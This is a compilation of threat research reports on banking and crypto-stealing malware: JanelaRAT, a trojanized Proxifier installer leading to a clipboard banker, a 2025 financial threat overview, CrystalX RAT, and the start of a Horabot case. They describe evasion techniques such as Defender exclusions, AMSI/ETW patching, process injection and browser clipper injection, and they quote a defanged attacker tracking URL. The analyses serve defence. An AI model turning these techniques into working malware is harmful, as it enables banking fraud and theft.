JanelaRAT is a malware family that takes its name from the Portuguese word βjanelaβ which means βwindowβ. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.
JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victimsβ browsers and perform malicious actions.
The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.
Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.
Initial infection
JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.
Malicious email used in JanelaRAT campaigns
Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.
However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.
Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actorsβ attempts to streamline the process, with a reduced number of malware installation steps. Weβve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files β additional components that aid in the infection β such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.
JanelaRAT infection flow evolution
Initial dropper
The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.
Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is βnormalβ.
The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the userβs Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.
Malicious implant
In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.
JanelaRAT monitors the victimβs activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victimβs machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current userβs privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.
The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.
String encryption
All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.
C2 communication and command handling
After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.
Following socket initialization, the malware launches two background routines:
User inactivity and session tracking
This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victimβs machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the userβs presence and routine to time possible remote operations.
Timer that looks for 10 minutes of inactivity
Victim registration and further malicious activity
This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malwareβs version and the victim machineβs security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.
This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:
We have observed constant changes in the parameters across campaigns. A new parameter βANβ was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victimβs device, the malware notifies the threat actor.
Parameter
Description
VS
JanelaRAT version
PL
OFF by default
AN
Yes or No depending on whether banking security software process exists
The second subroutine is responsible for monitoring the userβs visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the βGold-Labelβ version targeting banking users in Mexico that we described earlier.
This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.
If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.
To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.
Action Performed
Description
Capture desktop image
Send compressed screenshots to the C2
Specific screenshots
Crop specific screen regions and exfiltrate images
Overlay windows
Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
Keylogging
Keystroke capture
Simulate keyboard
Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
Track mouse input
Move the cursor, simulate clicks, and report the cursor position
Display message
Show message boxes (custom title, text, buttons, or icons)
System shutdown
Execute a forced shutdown sequence
Command execution
Run CMD or PowerShell scripts/commands
Task Manager
manipulation
Launch Task Manager, find its window, and hide it to prevent discovery by the user
Check for banking security software process
Detect the presence of anti-fraud systems
Beaconing
Send host information (malware version, profile, presence of banking software)
Toggle internal modes
Enable and disable modes such as screenshot flow, key injection, or overlay visibility
Anti-analysis
Detect sandbox or automation tools
C2 infrastructure
Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.
Decoy overlay system
This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victimβs interaction with the system.
The malware blocks the victimβs interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.
Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:
βConfiguring Windows updates, please wait.β
βDo not turn off your computer; this could take some time.β
When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.
An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.
Anti-analysis techniques
In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.
Persistence
The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.
This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.
Victimology
Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.
According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.
Conclusions
JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.
This variant represents a significant advancement in the actorβs capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.
To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.
At the start of the year, a certain Trojan caught our eye due to its incredibly long infection chain. In most cases, it kicks off with a web search for βProxifierβ. Proxifiers are speciaized software designed to tunnel traffic for programs that do not natively support proxy servers. They are a go-to for making sure these apps are functional within secured development environments.
By coincidence, Proxifier is also a name for a proprietary proxifier developed by VentoByte, which is distributed under a paid license.
If you search for Proxifier (or a proxifier), one of the top results in popular search engines is a link to a GitHub repository. Thatβs exactly where the source of the primary infection lives.
The GitHub project itself contains the source code for a rudimentary proxy service. However, if you head over to the Releases section, youβll find an archive containing an executable file and a text document. That executable is actually a malicious wrapper bundled around the legitimate Proxifier installer, while the text file helpfully offers activation keys for the software.
Once launched, the Trojanβs first order of business is to add an exception to Microsoft Defender for all files with a TMP extension, as well as for the directory where the executable is sitting. The way the Trojan pulls this off is actually pretty exotic.
First, it creates a tiny stub file β only about 1.5 KB in size β in the temp directory under the name βProxifier<???>.tmpβ and runs it. This stub doesnβt actually do anything on its own; it serves as a donor process. Later, a .NET application named βapi_updater.exeβ is injected into it to handle the Microsoft Defender exclusions. To get this done, api_updater.exe decrypts and runs a PowerShell script using the PSObject class. PSObject lets the script run directly inside the current process without popping up a command console or launching the interpreter.
As soon as the required exclusions are set, the trojanized proxifier.exe extracts and launches the real Proxifier installer. Meanwhile, it quietly continues the infection in the background: it creates another donor process and injects a module named proxifierupdater.exe. This module acts as yet another injector. It launches the system utility conhost.exe and injects it with another .NET app, internally named βbin.exeβ, which runs a PowerShell script using the same method as before.
The script is obfuscated and parts of it are encoded, but it really only performs four specific actions:
Add the βpowershellβ and βconhostβ processes to Microsoft Defender exclusions.
Create a registry key at HKLM\SOFTWARE\System::Config and store another Base64-encoded PowerShell script inside it.
Set up a scheduled task to launch PowerShell with another script as an argument. The scriptβs task is to read the content of the created registry key, decode it, and transfer control to the resulting script.
Ping an IP Logger service at https[:]//maper[.]info/2X5tF5 to let the attackers know the infection was successful.
This wraps up the primary stage of the infection. As you can see, the Trojan attempts to use fileless (or bodiless) malware techniques. By executing malicious code directly in allocated memory, it leaves almost no footprint on the hard drive.
The next stage is launched along with the task created in the scheduler. This is what it looks like:
The task launches the PowerShell interpreter, passing the script from the arguments as input. As we already mentioned, it reads the contents of the previously created Config registry key, then decodes and executes it. This is yet another PowerShell script whose job is to download the next script from hardcoded addresses and execute it. These addresses belong to Pastebin-type services, and the content located there is encoded in several different ways at once.
Decoded and deobfuscated script from the Config registry key
The script from Pastebin continues the download chain. This time, the payload is located on GitHub.
Decoded script from Pastebin
Itβs a massive script, clocking in at around 500 KB. Interestingly, the bulk of the file is just one long Base64 string. After decoding it and doing some deobfuscation, we end up with a script whose purpose is quite clear. It extracts shellcode from a Base64 string, launches the fontdrvhost.exe utility, injects the shellcode into it, and hands over control.
The shellcode, in turn, unpacks and sets up the code for the final payload. This is classic ClipBanker-like malware, and thereβs nothing particularly fancy about it. Itβs written in C++, compiled with MinGW, doesnβt bother with system persistence, and doesnβt even connect to the network. Its entire job is to constantly monitor the clipboard for strings that look like crypto wallet addresses belonging to various blockchain-based networks (Cardano, Algorand, Ethereum, Bitcoin, NEM, Stellar, BNB, Cosmos, Dash, Monero, Dogecoin, MultiversX, Arweave, Filecoin, Litecoin, Neo, Osmosis, Solana, THOR, Nano, Qtum, Waves, TRON, Ripple, Tezos, and ZelCash), and then swap them with the attackersβ own addresses.
The complete execution chain, from the moment the malicious installer starts until the ClipBanker code is running, looks like this:
Victims
Since the beginning of 2025, more than 2000 users of Kaspersky solutions have encountered this threat, most of them located in India and Vietnam. Interestingly, 70% of these detections came from the Kaspersky Virus Removal Tool, a free utility used to clean devices that are already infected. This underscores the importance of the preemptive protection: it is often cheaper and easier to prevent the infection than to face consequences of a successful attack.
Conclusion
This campaign is yet another perfect example of the old adage: βbuy cheap, pay twiceβ. Trying to save a buck on software, combined with a lack of caution when hunting for free solutions, can lead to an infection and the subsequent theft of funds β in this case, cryptocurrency. The attackers are aggressively promoting their sites in search results and using fileless techniques alongside a marathon infection chain to stay under the radar. Such attacks are difficult to detect and stop in time.
To stay safe and avoid losing your money, use reliable security solutions that are able to prevent your device form being infected. Download software only from official sources. If for some reason you canβt use a reputable paid solution, we highly recommend thoroughly vetting the sites you use to download software.
In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.
To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.
We analyzed the data for
financial phishing,
banking malware,
infostealers and the dark web.
Key findings
Phishing
Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.
Banking malware
Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.
Infostealers and the dark web
Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.
Financial phishing
In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.
The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home usersβ devices, 2025 (download)
Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home usersβ devices in the Middle East, 2025 (download)
Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home usersβ devices in the CIS, 2025 (download)
APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home usersβ devices in APAC, 2025 (download)
In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home usersβ devices in Africa, 2025 (download)
Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home usersβ devices in Latin America, 2025 (download)
Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home usersβ devices in Europe, 2025 (download)
Attackers actively localize their tactics to maximize relevance and effectiveness.
The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.
Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access usersβ finances.
However, this balance shifts significantly at the regional level.
In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns β maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.
Distribution of financial phishing pages by category and region, 2025 (download)
Online shopping scams
The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.
Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.
TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)
Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.
Payment system phishing
Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminalsβ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasnβt in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.
TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)
Financial malware
In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.
Changes in the number of unique users attacked by banking malware, by month, 2023β2025 (download)
Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.
In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.
There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.
Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.
Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.
Financial cyberthreats on the dark web
The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.
Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victimβs device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.
With access to financial data, fraudsters can gain control of usersβ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.
Compromised accounts
Kaspersky DFI found that in 2025,β―over one million online banking accounts (these are not Kaspersky product users) served by the worldβs 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.
The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.
The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.
TOP 10 countries with the highest compromised account median (download)
Compromised payment cards
Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team inβ―2025, remained valid as of Marchβ―2026. This means that attackers could still use the cards that had been stolen months or even years prior.
It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers inβ―2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.
Data breaches
Regardless of the industry in which the target company operates, data breaches often expose usersβ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.
It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudstersβ attention and can be used in social engineering attacks to gain access to the userβs financial assets.
An example of a post offering a database
Sale of bank accounts and payment cards
The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.
Examples of a post (top) and a site (bottom) offering payment cards
Often, sellers offer complete victim profiles, referred to by fraudsters as βfullzβ. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A fullβinformation package is usually more expensive than a payment card or a bank account alone.
Examples of a post (top) and a site (bottom) offering bank accounts
Compiled databases
Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.
Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.
An example of a message offering compiled databases
Creation of phishing websites
Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.
In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.
Examples of posts offering creation of phishing websites
Conclusion
The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.
Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.
In Marchβ―2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malwareβasβaβservice) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to thirdβparty actors, in addition to the standard features of RATβlike malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.
Kasperskyβs products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.
Technical details
Background
The new malware was first mentioned in Januaryβ―2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salatβ―Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.
After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.
The builder and anti-debug features
By default, the malware control panel provides third parties with an autoβbuilder featuring a wide range of configurations, such as selective geoblocking by country, antiβanalysis functions, an executable icon, and others. Each implant is compressed usingβ―zlib and then encrypted with ChaCha20 and a hardβcoded 32βbyte key with a 12βbyte nonce. The malware has basic antiβdebugging functionality combined with additional optional capabilities:
MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
VM detect: checking running processes, presence of guest tools, and hardware characteristics
Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump
Stealer capabilities
When launched, the malware establishes a connection to its C2 using a hardβcoded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victimβs credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromiumβbased browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64β―andβ―gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.
The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victimβs system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.
Keylogger & clipper
Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victimβs clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:
The special malware command clipper:set:[ADDR1,...] with the attackersβ cryptoβwallets addresses passed as arguments launches the clipper injection thread.
A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.
The final script looks as follows:
Remote access
The malware has a large set of commands for remote access to the victimβs system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victimβs screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.
Prank commands
The finishing touch is a separate section of the panel named βRoflβ with commands whose functions consist of various pranks on the victim.
Setting a background: downloading an image from a specified URL and using it as the desktop background.
Display orientation: rotating the screen 90Β°,β―180Β°, orβ―270Β°.
System shutdown: the panel has two different buttons βVoltage Dropβ and βBSoDβ, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
Remapping mouse buttons: swapping left click with right click and the other way round.
Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
Notifications: displaying a window with a custom title and message.
Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.
Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.
Conclusions
The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilitiesβ―ββ―spyware, keylogging and remote controlβ―ββ―but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customersβ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
